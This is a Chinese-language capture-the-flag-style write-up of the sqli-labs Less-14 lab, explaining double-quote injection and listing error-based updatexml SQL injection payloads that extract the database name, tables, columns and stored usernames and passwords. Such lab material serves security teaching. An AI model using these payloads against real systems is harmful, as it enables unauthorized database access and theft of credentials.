【网络安全】sqli-labs Less-14 解题详析

原创已于 2025-03-16 14:44:51 修改 · 3.9k 阅读

3 ·

CC 4.0 BY-SA版权

原创文章，禁止转载，否则保留追究法律责任的权利。

文章标签：

#web安全 #数据库 #sql

于 2023-07-24 10:01:45 首次发布

Sqli-Labs靶场攻防实战专栏收录该内容

28 篇文章

订阅专栏

本文详细解析了sqli-labs的Less-14关卡，涉及双引号注入类型的判断，以及如何查询数据库名、表名、用户表列名和字段。通过示例展示了利用SQL注入技术获取security数据库的相关信息。

文章目录

原理及姿势参考：【网络安全】SQL注入原理及常见攻击方法简析

Less-14与Less-13相似，攻击姿势及原理可参考本专栏Less-5：【网络安全】sqli-labs Less-5 解题详析

判断注入类型

经测试可知注入类型为双引号注入

判断注入点个数

在这里插入图片描述
由上下图可知，注入点个数为2

在这里插入图片描述

查库名

1") union select 1,updatexml(1,concat(0x7e,(select database()),0x7e),1)#

在这里插入图片描述

数据库名为security

查表名

1" union select 1,updatexml(1,concat(0x7e,substr((select group_concat(table_name) from information_schema.tables where table_schema='security'),1,31),0x7e),1)#

得到四个表

在这里插入图片描述

查users表的列名

1" and updatexml(1,concat(0x7e,substr((select group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'),1,31),0x7e),1)#

在这里插入图片描述

查字段

1" and updatexml(1,concat(0x7e,substr((select group_concat(username,password) from users),1,31),0x7e),1)#

在这里插入图片描述